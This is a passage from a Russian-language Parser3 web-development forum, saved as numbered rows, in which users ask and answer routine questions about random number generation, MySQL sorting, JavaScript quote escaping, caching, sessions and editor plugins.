f вабще больше интерисует как сделать так чтобы небыло повторений, например  у меня числа генерируються от 0 до 35 (получаеться 36 чисел)\
нужно чтобы был целый столбик всех этих чисел но чтобы ни одно сгенерированное случайное число из того диапазона 0-35 не повторялось\
\
как такое можно сделать ?"
"68782","[code]\
@random[]\
$result(^math:random(37))\
\
^if($result == 0 || $result == 37){\
  $result(^random[])\
}\
[/code]"
"68783","так не пойдет, да и в принцыпе я уже по другому решил, просто начал считать с нуля,\
а теперь как вот это сделать ?\
\
как сделать так чтобы небыло повторений, например у меня числа генерируються от 0 до 35 (получаеться 36 чисел)\
нужно чтобы был целый столбик всех этих чисел но чтобы ни одно сгенерированное случайное число из того диапазона 0-35 не повторялось\
\
как такое можно сделать ?"
"68785","Писать результаты в таблицу или хеш и каждое новое число проверять на наличие.\
Но это будет тормозить процесс. Зависит от количества необходимых чисел на выходе."
"68786","должен быть один столбик с таким содержанием\
0 random (из двух чисел)\
1 random (из двух чисел)\
2 random (из двух чисел)\
\
......\
35 random (из двух чисел)\
\
где random случайное число и оно не должно повторяться, т.е. все 36 чисел должны бть разными \
я делаю так\
\
[code]^for[g](0;35){$g ^math:random(8) - ^math:random(3)<br>}[/code]\
\
[code]^math:random(8)[/code] и [code]^math:random(3)[/code]\
эти значения тоже определены диапазоном, что первая часть числа можеть быть от 0 до 8 и вторая часть числа от 0 до 3.\
и вот что у меня получаеться\
\
1 2 - 1\
2 5 - 0\
3 1 - 0\
4 3 - 1\
5 4 - 2\
6 0 - 0\
7 1 - 1\
8 2 - 0\
9 3 - 0\
10 0 - 0\
11 7 - 2\
12 7 - 1\
13 6 - 2\
14 6 - 0\
15 7 - 2\
16 4 - 1\
17 0 - 2\
18 0 - 0\
19 2 - 1\
20 0 - 0\
21 6 - 0\
22 1 - 1\
23 4 - 0\
24 1 - 1\
25 5 - 2\
26 5 - 2\
27 6 - 0\
28 3 - 0\
29 7 - 0\
30 2 - 2\
31 4 - 0\
32 5 - 1\
33 5 - 1\
34 6 - 0\
35 4 - 0\
\
как видно 4-0 уже несколько раз находиться в данной таблице, а должно быть каждого по одному\
\
и надо чтобы все это не имело повторений!\
\
вот как это еще можно сделать ?\
если перебор всез, то это все будет сильно грузить сервер.."
"68787","или так:\
[code]\
$t[^table::create{i}]\
$h[^hash::create[]]\
$limit(36)\
^while($h<$limit){\
	$i(^math:random($limit)+1)\
	^if(!$h.$i){\
		^t.append{$i}\
		$h.[$i](1)\
	}\
}\
[/code]\
\
в $t -- последовательность случайных чисел от 1 до $limit"
"68788","[code]\
  $t[^table::create{col}]\
  ^for[i](0;8){\
    ^for[k](0;3){\
      ^t.append{$i - $k}    \
    }\
  }\
  ^t.sort(^math:random(36))\
  ^t.menu{^t.line[]: $t.col}[<br />]\
[/code]"
"68791","Спасибо"
"68792","интерестно, что будет с производительностью если передать этому методу пару страниц текста?\
\
Но, алгоритм красивый:)"
"68793","соотв. задача стоит не в выборе хорошего, а в выборе лучшего из имеющихся.\
\
к тому-же вы задавали вопрос про \"надёжный\" хостинг, а таковые встречаются :)"
"68794","где есть колонки скажем пикселей по 200 + попадаются слова типа стопятидесятимиллионный. Во всех остальных случаях это пижонство.\
\
Алгоритм не совершенен. Лучше использовать таблицы LaTex, а еще лучще словарь переносов, но его увы нет."
"68795","Делается простенький интернет-магазин (500 наименований)\
каждое наименование имеет превью, большую картинку и описание.\
обновлятся будет, максимум, раз в месяц.\
\
Планируемая нагрузка через полгода (после кампании продвижения) 50к-100к хостов/месяц.\
\
Т.к. всё обновляется редко, хотелось бы чтобы всё кешировалось (картинки, css/js). Если с кешированием средствами парсера всё понятно, то вот как лучше поступить с остальным?\
\
apache + nginx + squid?\
\
и какие хар-ки VPS для этих нужд будет достаточно?"
"68796","Думаю предпочтительнее виртуальный хостинг, тк там нет явного потолка ресурсов об который придётся периодически биться головой\
\
У vps есть недостаток, вам придётся самостоятельно поддерживать все сервисы, и под это может не хвать памяти. Когда я пользовался услугами vps (года 3 назад, сейчас вероятно многое изменилос) в выделеную мне раму умещалость процессов для отображения 3 страниц, когда на сайт заходило пара ботов и пользователь - становилось тесно\
\
У меня помоему было 256M  RAM там работали СУБД mysql, Apache, почтовый сервер - и на этом память заканчивалась :)"
"68797","Знание parser3, mysql, html, css, возможно немного js\
Периодические разовые работы по поддержанию сайта(ов) компании\
+7 926 429 8208 (Москва)"
"68800","Установил авторизацию.\
После того, как в файле _auth_setpwd.html я ввожу пароль, парсер3 начинает ругаться 'server' undefined method.\
Отрезок, который ему не нравится:\
^oSql.server{\
		^rem{ *** создаем объект класса auth *** }\
		$auth[^auth::init[$cookie:CLASS;;$.csql[$oSql]]]\
\
Может кто знает в чём беда?"
"68802","Можно кинуть ссылку где искать, потому как по авторизации у вас одна статья и два приложения (\"Учёт используемой памяти и сборка мусора\", \"О переносимости SQL запросов\")."
"68803","Подскажите где скачать парсер с отключенным safe mod для 64 битного linux и драйвер mysql к нему. (нашла какую-то версию но она с safe mod)\
На форуме ничего не нашла...\
а техподдержка заявила:\
Parser3 - клиентское приложение, работа которого от нас не зависит. Проверье ошибки, проверьте .htaccess.\
\
при этом парсер выдает\
/: './auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename './auto.p', fuid(32220)!=euid(99) or fgid(32223)!=egid(99) [parser.runtime]\
\
техподдержка отказывается что либо собирать и настраивать, а сама я не умею.\
\
P.S. почему-то функция добавить сообщения в firefox 3.0.5 yt работает ((("
"68804","64 bit-ного парсера нет. он не собирается (нам не нужно, патчи не присылали).\
\
с некоторой вероятностью у вас заработает 32-битный парсер. для начала попробуйте воспользоваться парсером собраным нами (без safe mode. какой путь для скачивания подобного парсера -- ищите в форуме, мы не рекомендуем подобные бинарники, потому ссылок не даём, но собираем и выкладываем), а потом, если не поможет, посмотрите в разделе прислали пользователи."
"68805","а потом приведите ваш код инициализации объекта oSql."
"68806","[code]<span  onclick=\"doTitleEdit('$tItem.id','$sTitle')\">^if($sTitle eq \"\"){<Без названия>}{$sTitle}</span>[/code]\
Не хватает у меня широты взгляда на проблему.\
Что делать если в переменной $sTitle есть кавычки? Они ломают вызов js функции.\
Может ли здесь помочь taint/untaint?"
"68809","Я так пробовал - не работает.\
Если\
[code]$sTitle[привет \"дружок\"] [/code]\
то получаем:\
[code]<span onclick=\"doTitleEdit('39','привет \\\"дружок\\\")>привет \"дружок\"</span>\
[/code]\
присваивание значения атрибуту [code]onclick[/code] заканчивается перед словом [i]дружок[/i] благодаря кавычке.\
\
^taint[html][$sTitle] помогает, но дальше начинаются проблемы у JS...\
[code]\
doLoadTitle = function(id) {\
	var file_title =  \"\";\
	var file_title_show =  \"<Без названия>\";\
	if (document.getElementById('fu' + id).up_name.value) file_title =  file_title_show =  document.getElementById('fu' + id).up_name.value;\
	$('#upl_ed_' + id).html(file_title_show).one(\"click\",function(){doTitleEdit(id,file_title)})\
		.attr(\"title\", file_title);\
};\
\
doTitleEdit = function(fid,valp) {\
	var formdata = '<form id=\"fu'+ fid + '\"><input name=\"up_name\" size=\"15\" maxsize=\"200\" value=\"'+ valp + '\" type=\"text\"><input type=\"submit\" value=\"Ok!\"></form>';\
	$('#upl_ed_' + fid).html(formdata);\
	$(\"#fu\" + fid).submit(function() {\
		doLoadTitle(fid);\
		return false;\
	});\
	$(\"#fu\" + fid + \" input[type='text']\").focus();\
};\
[/code]"
"68811","я в js не спец, думал что так должно работать.\
\
но например так работает:\
[code]\
$sTitle[привет \"дружок\"]\
<span onclick='doTitleEdit(\"39\", \"^taint[js][$sTitle]\")'>$sTitle</span>\
[/code]\
\
однако в общем случае, когда строка может воткнуться произвольная, и в ней могут быть и ' и \" я пас.\
\
\
в самом крайнем случае можете использовать такой workaround (требуется 3.3.0):\
[code]\
$sTitle[привет \"дружок\"]\
<span onclick=\"doTitleEdit('39', unescape('^sTitle.js-escape[]'))\">$sTitle</span>\
[/code]"
"68812","насколько трудоемко, по-вашему, нормальное\
портирование parser'а на 64бита?\
\
в форуме постоянно натыкаются на подобные\
грабли - может кто-то взялся бы за спонсирование ? ;)"
"68813","для того, чтобы ответить на этот вопрос нужно начать копаться в проблемме. я не копался, ответить не могу.\
\
мне сообщали, что на 64bit freebsd7 оно собирается (правда нужно взять gc7.0, а не gc6.8, который сейчас указан в скриптах сборки). и кое что даже работает (точно не работает разбор exif). \
\
насколько целостно это тестировалась работоспособность -- я не имею понятия."
"68814","допустим есть таблица:\
col1 col2 col3\
5000 1000 50000\
\
как сделать чтобы при нажатии на submit вычеталось слудующие:\
col3 - col2 и  col1 + col2\
и сохранить результат чтобы в итоге было\
col1 col2 col3\
6000 1000 49000"
"68815","Таблица неизменяемый кортеж. Решить вашу задачу можно только созданием другой таблицы и копированием в нее нужных данных. В парсере нет объектов для хранения упорядоченных списков изменяемых объектов. Так например, сообщество передовых парсер-программистов считает, что массивы в языке не нужны, о чем неоднократно писали  на форуме."
"68816","судя по результату:\
[code]<span onclick=\"doTitleEdit('39','привет \\\"дружок\\\")>привет \"дружок\"</span>[/code]\
у вас где-то пропадает апостроф пропадает:\
[code]<span onclick=\"doTitleEdit('39','привет \\\"дружок\\\"[color=\"red\"]'[/color])>привет \"дружок\"</span>[/code]\
\
а вообще по идее taint[js] самое правильное лекарство"
"68817","Что интересно, даже выданый руками, казалось бы, валидный код\
[code]<span onclick=\"doTitleEdit('39','привет \\\"дружок\\\"')>привет \"дружок\"</span>[/code]\
на деле — невалиден.\
\
[quote]unterminated string literal[/quote]\
\
Работает оно только при замене кавычек на &quot;, то биш, при ^taint[html].\
Но как отреагирует js на такой код, сложно сказать.\
Авто пишет об ошибках его работы."
"68818","@auto[]\
$oSql[^MySqlComp::create[$connect-string;\
	$.bDebug(true)\
	$.sCacheDir[$CACHE_DIR/_sql]\
]]\
а обратиться из любого места кода ^oSql.server я не могу, undefined method понимаете ли у него."
"68819","сразу за инициализацией oSql напишите:\
[code]\
^oSql.server{\
	^throw[test;-^oSql.int{SELECT 2+2}-]\
}\
[/code]\
\
обратитесь к странице и должны увидеть ошибку с type='test' и source='-4-'. если не увидите -- значит данный код не выполняется, разбирайтесь."
"68821","Тоже очень интересует данный вопрос"
"68822","$IL[\
$.delete[$.ru[удалить]]\
$.close[$.ru[закрыть]]\
]\
\
$IL.delete.ru\
замечательно работает.\
\
А теперь хеш IL создадим из базы:\
\
$IL[^hash::sql{select gb,ru from lang}]  (запись с gb='delete', gb='add' в таблице есть)\
\
и снова пробуем:\
\
$IL.add.ru\
и тоже замечательно работает!!! (заметить легко что 'add' в руками созданной таблице нет)\
\
А теперь закомментируем вначале:\
#$IL[\
#$.delete[$.ru[удалить]]\
#$.close[$.ru[закрыть]]\
#]\
\
И при вызове $IL.delete.ru или $IL.add.ru получим ошибку: ru is 'junction', it has no elements\
\
Итог:\
\
работающий код:\
[code]\
$IL[\
$.delete[$.ru[удалить]]\
$.close[$.ru[закрыть]]\
]\
\
$IL.delete.ru\
замечательно работает.\
\
А теперь хеш IL создадим из базы:\
\
$IL[^hash::sql{select gb,ru from interface_lang}]  (запись с gb='delete' в таблице есть)\
\
и снова пробуем:\
\
$IL.delete.ru\
[/code]\
\
неработающий код:\
[code]\
#$IL[\
#$.delete[$.ru[удалить]]\
#$.close[$.ru[закрыть]]\
#]\
\
$IL.delete.ru\
замечательно работает.\
\
А теперь хеш IL создадим из базы:\
\
$IL[^hash::sql{select gb,ru from interface_lang}]  (запись с gb='delete' в таблице есть)\
\
и снова пробуем:\
\
$IL.delete.ru\
\
ошибка ru is 'junction', it has no elements\
[/code]\
\
\
У себя в коде применил \"workaround\": поставил перед запросом из базы $IL[$.abracadabra[$.ru[кадабра]]] :) - все работает"
"68824","По-умолчанию sql и парсер сортируют таблицы ABCD...abcd...\
А мне нужно AaBbCcDd... \
\
Предложете красивый способ?"
"68825","[code]\
^connect[$SQL.connect-string]{\
	^void:sql{DROP TABLE IF EXISTS interface_lang}\
\
	^void:sql{CREATE TABLE interface_lang (\
		gb varchar(31) NOT NULL,\
		ru varchar(31) NOT NULL\
	)}\
\
	^void:sql{INSERT INTO interface_lang VALUES ('add', 'добавить')}\
	^void:sql{INSERT INTO interface_lang VALUES ('delete', 'удалить')}\
\
}\
\
^connect[$SQL.connect-string]{\
	$IL[^hash::sql{\
		SELECT\
			gb,\
			ru\
		FROM\
		interface_lang\
	}]\
}\
\
=$IL.add.ru=$IL.delete.ru=\
[/code]\
\
похоже, что вы не разобрались в имеющейся у вас проблеме и обошли её каким-то очень странным способом, который, скорее всего, вскоре может перестать у вас работать.\
\
P.S. у вас точно текстовые поля в БД не типа 'char' и там нет пробельных символов? может выведете всё, что получается при sql запросе и посмотрите глазами: ^IL.foreach[k;v]{'$k'=...}[<br />]"
"68826","для MySQL посмотрите на флаг 'binary' у текстовых полей (у MySQL версий 4.1 и выше он оставлен для совместимости, но по сути он является alias-ом для какого-то collation)"
"68827","Ищу человека, котрый вместе со мной займется разработкой новой биллинг панели для хостинга с уникальными возможностями. \
У меня достаточно большой опыт работы с парсер, и есть уже опыт создания платежных систем на parser.\
Кому интересно, что я создавал и чем занимаюсь, можно посмотреть здесь http://www.parser.ru/powered_by_parser/ (Алексей Витальевич Пруслин)\
\
Есть много идей о панели, панель требуется как мне, так и многим моим клиентам на хостинге и ресселинге. В данный момент у меня на хостинге, работает панель собственной разработки на парсер, но не устравает по многим параметрам, поэтому я прикинул, что легче написать с нуля.\
\
Интересует человек, который со мной слаженно и без лишних амбиций, срубить много бабок, займется разработкой панели. \
У человека должен быть опыт работы с парсер, я не буду обучать им пользоваться.\
Если еще и умеет работать с java скриптами то вообще отлично.\
\
\
Самое оптимальное если человек будет жить и работать в Санкт-Петербурге, для личных встреч."
"68828","Спасибо, что уделили время моей проблеме. Ваш пример работает. Похоже дело действительно в том, что содержится в моей таблице в базе. Буду проверять."
"68829","Да, binary для 4.1 или правильный collation для 5.0 - но это позволяет лишь делать выборки с учетом реестра, а сoртировка происходит все равно так: сначала все заглавные, потом все прописные. А мне надо: AaBbCcDdEeFfGg..."
"68830","... не очень сложно:\
[code]\
SELECT * FROM dogovor \
order by locate(left(person, 1), 'АВБГДЕЁЖЗИКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ') asc\
[/code]\
\
Строчку c буковками сделаете сами как вам нужно. [Я в примере специально Б и В поменял местами.]\
\
p.s. Правда не совсем понятно нафига все это нужно."
"68831","нее, и мы получим снова ABCD..abcd..\
Мне нужно из кучи слов в базе взять по первой букве (ясное дело я делаю LEFT(word,1)) и отсортировать их не ABCD..АБВГД...abcd...абвг а AaBbCcDd...АаБбВвГг"
"68832","Здравствуйте.\
\
Я использую VPS от Masterhost, OS Fedora Core 7, MySQL 5.0.45. Мне необходима библиотека libmysqlclient.so. Я ознакомился с информацией http://www.parser.ru/forum/?id=63264 (и остальной, которую смог найти).\
\
Я скачивал этот файл: http://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.30-linux-i686-glibc23.tar.gz/from/pick - Linux (non RPM packages), Linux (x86). Там libmysqlclient.so.16.0.0 весит около 5 мб, а я так понимаю, что этот файл должен быть всего несколько кб.\
\
Нет ли у кого-нибудь этой библиотеки? И если нет, что мне делать?"
"68834","На этих VPS парсер собирается из исходников без особых проблем, и драйвер, насколько помню, тоже. Попробуйте.\
\
P.S. а я уже свалил от MХ, поделиться нечем."
"68835","Задача такая: есть база со словами.\
Нужно составить алфавит из первых букв всех слов.\
Но нужен алфавит вида AaBbCcDdEeFf... а не ABCD..abcd что получается при обчной сортировке.\
Вот и нужна красивая идея по сортировке для получения AaBbCcDd..."
"68837","Спасибо всем, моя вина, я понял в чем ошибка.)"
"68838","Если кто-нибудь может помочь решить проблему, пожалуйста, напишите на libmysql@mail.ru."
"68839","нужно выбрать последний добавленный id по определённому условию, наподобие:\
[code]SELECT	 [b]ПОСЛЕДНИЙ_ИД[/b]\
FROM	   [b]имя_таблицы[/b]\
WHERE	  [b]определённая_ячейка[/b]='[b]определённое_значение[/b]'[/code]\
как это можно осуществить?"
"68840","[code]\
drop tables if exists t;\
\
create table t (\
	c1 varchar(15) binary not null,\
	c2 varchar(15) not null\
);\
\
insert into t values ('б', 'б');\
insert into t values ('Б', 'Б');\
insert into t values ('а', 'а');\
insert into t values ('А', 'А');\
insert into t values ('Г', 'Г');\
insert into t values ('г', 'г');\
[/code]\
\
[code]\
SELECT c1 FROM t ORDER BY c1;\
[/code]\
А\
Б\
Г\
а\
б\
г\
\
[code]\
SELECT c2 FROM t ORDER BY c2;\
[/code]\
а\
А\
б\
Б\
Г\
г"
"68842","В базе лежат не буквы, а слова!!!\
\
insert into t values ('Вася');\
insert into t values ('Петя');\
insert into t values ('не петя');\
insert into t values ('John');\
insert into t values ('Keith');\
insert into t values ('Fuck');\
\
И нужно выбрать первые буквы этих слов, только сортированные AaBbCc..."
"68844","0. идея нехорошая. в таблице может быть сотни тысяч записей, а вы постоянно будете заставлять SQL сервер переворачивать их, чтобы сформировать алфавит. добавьте избыточность (отдельную табличку, обновляемую по тригеру, если у вас они доступны) и не мучайте сервер.\
\
1. вы обратили, что в моих примерах запросов интересующий вас порядок сортировки был при order by по столбцу, у которого binary нет?\
\
2. 'binary' можно указывать и в order by к результату left, например.\
т.е.:\
[code]\
SELECT c2 FROM t ORDER BY binary c2\
[/code]"
"68845","Оказалось, дело совсем не в драйвере, а в том, что я пытался подключиться к своей бд, находящейся на другом сервере. А этого делать, увы, нельзя."
"68846","При условии открытых портов должно работать."
"68847","Пишите на email alexey@pwstudio.ru \
\
или icq 301094836\
\
skype: pwstudio\
пишите"
"68848","Можно туннель поднть через SSH. У них, кстати, про это написано:\
\
http://masterhost.ru/support/doc/mysql/#sst\
\
Надо только погуглить как это сделать на VDS"
"68850","На другом сервере скорее всего запрещен доступ к БД со сторонних IP. Но возможно есть панелька для добавления разрешенных адресов. Или может админ это сделает."
"68851","Большое спасибо за ответы!\
\
В рамках моей задачи допустимо алфавит именно так формировать (количество слов в базе около 300)\
\
Не получится с order by binary поскольку мне нужно чтоб поле было binary, чтоб при других выборках учитывался алфавит...\
\
А при поле бинари - выборка с сортировкрй order by binary.. и просто order by.. выдает все тот же результат: сначала все заглавные, потом все мелкие...\
\
Думал, у кого-то на готове красивое для этого решение есть :) Но можно и тупо конечно сделать..."
"68852","post файлов при загрузке внешних файлов по http имплементирован (HEAD, войдёт в следующий релиз). правда не as-is, т.к. мне некоторые вещи в реализации не понравились."
"68855","[code]ALTER TABLE `[b]YUOR_TABLE_NAME[/b]` MODIFY COLUMN `[b]NAME_COLUMN[/b]` VARCHAR(255) CHARACTER SET [i]utf8 [/i]COLLATE [i]utf8_general_ci[/i] DEFAULT NULL;[/code]\
\
тоесть меняй CHARSET поля"
"68856","пишем простейший код:\
\
$calendar[^date:calendar[rus](2009;1)]\
^for[i](0;^calendar.count[]-1){\
    ^calendar.offset($i)\
        $calendar.0\
        $calendar.1\
        $calendar.2\
        $calendar.3\
        $calendar.4\
        $calendar.5\
        $calendar.6\
        $calendar.week\
        $calendar.year\
        <br>\
}\
\
получаем:\
\
01 02 03 04 01 2009 \
05 06 07 08 09 10 11 02 2009 \
19 20 21 22 23 24 25 04 2009 \
05 06 07 08 09 10 11 02 2009 \
01 02 03 04 01 2009 \
01 02 03 04 01 2009\
\
первые 2 недели нормально.\
где 3-я неделя ? зачем 2-ая неделя 2 раза и 1-ая неделя 3 раза ?\
\
---\
Parser/3.2.3 (compiled on i686-pc-linux-gnu)"
"68857","Поискал ответ на форуме, но все вопросы про рассылку писем. У меня же эта часть сделана на PHP, и трогать её нет надобности.\
\
Нужно сделать подписку на рассылку. Хотелось бы что-нибудь в этом роде:\
\
- На странице - поле для ввода адреса и кнопка сабмита.\
- После нажатия на кнопку введённый адрес отправляется PHP-скрипту.\
- Скрипт работает с базой MySQL и выдаёт ответ (ОК, этот адрес уже подписан, этот адрес заблокирован, неверный формат адреса и т.д.)\
- Результат отображается на той же странице (без перезагрузки).\
\
Это возможно сделать, или я гоню? :-)\
\
Буду признателен на совет или ссылку по этой теме.\
\
Спасибо."
"68858","^calendar.offset($i) -- сдвинуть указатель на $i позиций [b]относительно текущей[/b] позиции.\
\
т.е. во время первого выполнения тела цикла вы сдвигаете указатель от текущего (1) на 0 и выводите 1 строку.\
\
на второй итерации вы сбвигаете от текущей (1) на 1 и выводите 2 строку.\
\
на третей итерации вы сдвигаете от текущей (2) на 2 и выводите 4 строку.\
\
дальще надо расписывать? (вывидете ^calendar.line[] и посмотрите)\
\
\
возможные способы исправления:\
1. for -> menu (the best)\
2. ^calendar.offset($i) -> ^calendar.offset(1) и перенести в конец тела цикла\
3. ^calendar.offset($i) -> ^calendar.offset[set]($i)"
"68864","1) в корневом каталоге лежит htacsess, сайт замечательно работает. Вложена папка, в ней свой   htacsess, не работает.\
\
2) Установка кода sape."
"68865","Лишь недавно начал знакомиться с Parser'ом, и почти сразу обратил внимание, что в документации нигде не сказано о работе с сессиями.\
Возможна ли работа с сессиями в парсере вообще, и если да, то где об этом можно прочесть?"
"68866","Берёте и пишете механизм, который хотите.\
\
Если же вопрос, на деле: «есть ли в Парсере встроенный механизм сессий?» — нет, такого механизма нет."
"68867","Попробую помочь со вторым вопросом.\
icq 98898826"
"68868","Понятно, но жаль, что это так.\
Работа с сессиями удобна и востребована, хотелось бы просто пользоваться ими, и не изобретать велосипед.\
Но в любом случае спасибо за ответ."
"68869","Я например привык контроллировать что у меня в cookie, и что в URL. Зачем в язык встраивать что-то еще, если есть прямая возможноять просто записывать куки, или добавлять переменную к URL?"
"68870","У меня на нескольких сайтах, причем на одной и той же хостинг-площадке, удачно работает FCKeditor и даже загрузка изображений работает. \
Но недавно, на одном из сайтов перестали загружаться картики в FCKeditor. Все перепроверил, раза 3-4 перезаливал все файлы, доступы к файлам и папкам проверил - не работает и все тут. При нажатии на кнопку \"Просмотреть на сервере\" в диалоговом окне загрузки файла, выдается ошибка \"www.***.ru/FCKeditor/editor/filemanager/browser/default/frmresourceslist.html\" строка 120 символ 2 \"Требуется объект\". Никогда раньше такого небыло, и самим сайтом никаких изменений не производилось.\
\
Строка 120 гласит \
[code]var sCurrentFolderPath = Node.attributes.getNamedItem('path').value ;[/code]\
\
И что это может быть?..."
"68871","Возможно и не нужно, однако сессии, как ни крути, удобнее такого подхода, поскольку создают для него отдельный уровень абстракции. Да и URL не засоряется лишними данными. А куки и подделать можно. :-)\
Хотя я вам верю, возможно [i]в парсере[/i] это и не нужно, у меня еще недостаточно опыта, чтобы судить самостоятельно."
"68872","Состояние сессии надежно можно передать 2 способами: часть URL или куки. Абстракция именно этим и занимается."
"68873","Это проблема java-script а не парсера.\
Кстати я перепробовал много WYSWYG редакторов - tinyMCE лучший. Рекомендую."
"68874","Простой механизм сессий пишется за 10-50 минут.\
За день, если разбираться с нуля.\
\
Посмотрите на классы form, cookie и hashfile в документации."
"68875","А в чем может быть там проблема, если я сношу старый скрипт и заливаю заново рабочий?\
\
Можете в двух словах объяснить удобсвтво tinyMCE перед FCKeditor? Там тоже есть встроенный аплоад картинок и файлов?"
"68877","можно не использовать на все 100%, и именно что ограничиться использованием сессий.."
"68878","Вы правы, использование hashfile в целом может заменить механизм сессий.\
Спасибо."
"68879","Вернее, только что почистил - не помогает. Да и не в кеше дело - при моих попытках внести изменения в этот самый файл, номер строки с ошибкой \"бегал\"."
"68880","отрабатывает запрос по odbc\
выводятся поля таблицы все кроме одного текстового (БД Pervasive 9, тип string(47): перебор по menu и обращение к каждому полю по $ИМЯТАБЛИЦЫ.ПОЛЕ), если преобразовать таблицу в хеш, то из хеша выводится нормально,\
используя visualization.p все содержимое таблицы также отображается без проблем."
"68882","проблемное поле выделено жирным\
[code]SELECT\
	KatORG.NAME as orgname,\
	KatSopr.NSOPR as nsopr,\
	SpSopr.DSOPR as dt, \
	KatMC.Name as mcname,\
	katotped.name as edizm,\
	CONVERT(Spsopr.KOLFACT,SQL_double) as kolfact,\
	katMC.VOLUME*spsopr.KOLFACT as volume,\
	KatMC.BARKOD as barkod, \
	convert(spsopr.price,SQL_DOUBLE) as price,\
	kolfact*price as stoimvnde,\
	katstate.name as strana,\
[b]	katsopr.NAME as descr,[/b]\
	spsopr.nrec as nrec\
FROM\
	Spsopr, Katsopr, KatORG, KatMC, katotped, katstate\
WHERE\
(\
   Spsopr.CSOPR = KatSopr.NREC\
    and\
   Spsopr.CMCUSL = KatMC.NREC\
    and\
   KatSopr.CORG = KatORG.NREC\
    and \
   spsopr.cotped = katotped.nrec\
    and\
   katorg.cstate = katstate.nrec\
)\
AND\
(\
   SpSopr.VIDSOPR = $iem\
    and\
   SpSopr.DSOPR >= '$form:dt_from' and SpSopr.DSOPR <= '$form:dt_to'\
    and\
   SpSopr.PRMC = 1\
    and\
   KatSopr.CORG <> 281474976710660\
    and\
   $country_filter\
)\
ORDER BY\
	dt, katorg.name,nsopr, mcname\
}]}\
[/code]"
"68883","но давайте пошаманим...\
\
- выводить пытаетесь как $t.descr ? приведите кусочек кода, где выводится значение этого столбца и другого, который нормально выводится.\
- выводится \"пустота\", или сообщение об ошибке, что поле не найдено? если последнее, то точно в 'descr' не затесалась русская 'е' или 'с'?\
- если в запросе переименовать descr на 'xyz' -- все равно проблема?\
- попробуете написать $t.[descr] ?\
- попробуйте вывести: $c[^t.columns[]] ^c.menu{'$c.column'}[, ]. название столбца должно быть именно в апострофах, чтобы убедиться, что там не возвращается название с пробельным символом с краю."
"68884","[quote]- выводить пытаетесь как $t.descr ? приведите кусочек кода, где выводится значение этого столбца и другого, который нормально выводится.\
quote]\
\
[code]\
^mclist.menu{\
<tr>\
<td>$mclist.strana\
<td align=\"left\">$mclist.orgname\
<td align=\"left\">$mclist.nsopr\
<td align=\"left\">$mclist.dt\
<td align=\"left\">$mclist.mcname\
<td align=center>$mclist.edizm\
<td align=right>$mclist.kolfact\
<td align=right>$mclist.volume\
<td align=right>$mclist.stoimvnde\
\
	$kurs(^eval($usd.[$mclist.dt].sumrubl)[%.2f])\
	^if($kurs == 0){\
		<td><font color=red><b>нет курса на этот день</b></font></td>\
		$kurs(0)\
	}{\
		$temp[$mclist.stoimvnde]\
		<td align=right>^eval(^temp.double(0)/$kurs)[%.2f]</td>\
	}\
\
<td>$kurs</td>\
[b]<td>$tab_mclist_hash.[$mclist.nrec].descr</td>[/b] *** выводит ок\
[b]<td>$mslist.descr[/b] *** выводится пустота \
</tr>\
}[/code]\
\
[quote]- если в запросе переименовать descr на 'xyz' -- все равно проблема?[/quote]\
ничего не меняется, только через хеш\
\
[quote]- попробуете написать $t.[descr] ?[/quote]\
пустота\
\
[quote]- попробуйте вывести: $c[^t.columns[]] ^c.menu{'$c.column'}[, ]. название столбца должно быть именно в апострофах, чтобы убедиться, что там не возвращается название с пробельным символом с краю.[/quote]\
Вывод: 'orgname', 'nsopr', 'dt', 'mcname', 'edizm', 'kolfact', 'volume', 'barkod', 'price', 'stoimvnde', 'strana', 'descr', 'nrec'"
"68885","[code]<td>$mslist.descr *** выводится пустота [/code]"
"68886","Проверьте, не был ли загружен через FCK файл с кириллическим именем, если есть переименуйте в латиницу. Возможно проблема в этом"
"68888","После прочтения примеров из документации у меня сложилось впечатление, что метод @main[] должен вызываться при обработке любого файла, к которому был направлен запрос пользователя, если парсер настроен на обработку этого типа файлов.\
Однако если файл (к примеру, index.html) пуст, то метод @main[] в нем не вызывается. Если же в этом методе используются вызовы других методов, определенных в файле index.html, то все отрабатывает как и ожидалось.\
Если же в теле страницы определить только переменные, и использовать их внутри @main[], то он не выполняется. Почему же нельзя с помощью @main[] просто вывести каркас пустой страницы?\
С чем связано такое поведение? Просто хотелось бы составить стройную картину выполнения скриптов, поэтому буду благодарен за пояснения."
"68889","[code]index.html\
@main[]\
<html>...</html>[/code]"
"68890","Ничто, просто был несколько удивлен таким поведением, и засомневался, действительно ли так должно быть.\
Я не пытаюсь представить это как недостаток парсера, просто стало любопытно, в связи с чем это могло быть сделано..."
"68892","«Если в файле не определен ни один метод, то все его тело считается определением метода main».\
Все ясно, спасибо.\
Вероятно, иначе было бы невозможно разместить обыкновенный статический html-файл в веб-пространстве."
"68893","А интересно - почему так???"
"68894","Загрузить - загружает, а потом загибается )"
"68897","Незнаю, я от него вобще отказался. Сейчас пользуюсь WYMEditor + свой файл-менеджер. Попробуйте погуглить"
"68898","Для ответа на вопрос мне нужно будет глянуть текущую версию FCK :) Если интересно - глянь TinyMCE, и дай сравнение. По-поводу аплоада картинок - редактор-то javascript-овый. Аплоад там делается в виде плагина. Пишешь часть на парсере, и в параметр к редактору вставляешь вызов."
"68899","Здравствуйте.\
Написал скрипт на парсере версии 3.3.0 (Win XP Pro SP2) для вытаскивания данных из двоичных файлов: берется HEX-представление данных двоичного файла и переводится кусками в нужный формат.\
Скрипт запускаю не через апач, а напрямую через консоль:\
../cgi-bin/parser3.exe index.html\
\
Возникла проблема: иногда при обработке файлов начинает пищать динамик на материнской плате, а в черном окне консоли бесконечно печатается какой-то текст. При этом компьютер практически наглухо зависает, помогает только выгрузка процесса cmd.exe.\
Такое не со всеми файлами. Данные в них содержатся однотипные.\
Подобная ситуация возникла только при выполнении скрипта на парсере, до этого раньше никогда такого не было.\
\
Вопросы:\
1. Было ли такое у кого-нибудь?\
2. Если да, то как это лечится?"
"68900","Все очень просто. Возможно возникает ошибка (с выводом данных), или просто выводятся данные парсером в консоль. Эти данные со спец-символами, которые пищат и т.д."
"68901","Скрипт пишет промежуточные результаты в файл, в консоль выводит только одну строку после обработки файла на английском языке.\
Все обрабатываемые файлы в кодировке UTF-8, но глюк не со всеми.\
\
Какие еще идеи?"
"68903","Постараюсь вечером очистить логи, повторить операции и выложить лог."
"68905","В начале файла пишу:\
[code]@USE\
Lib.p\
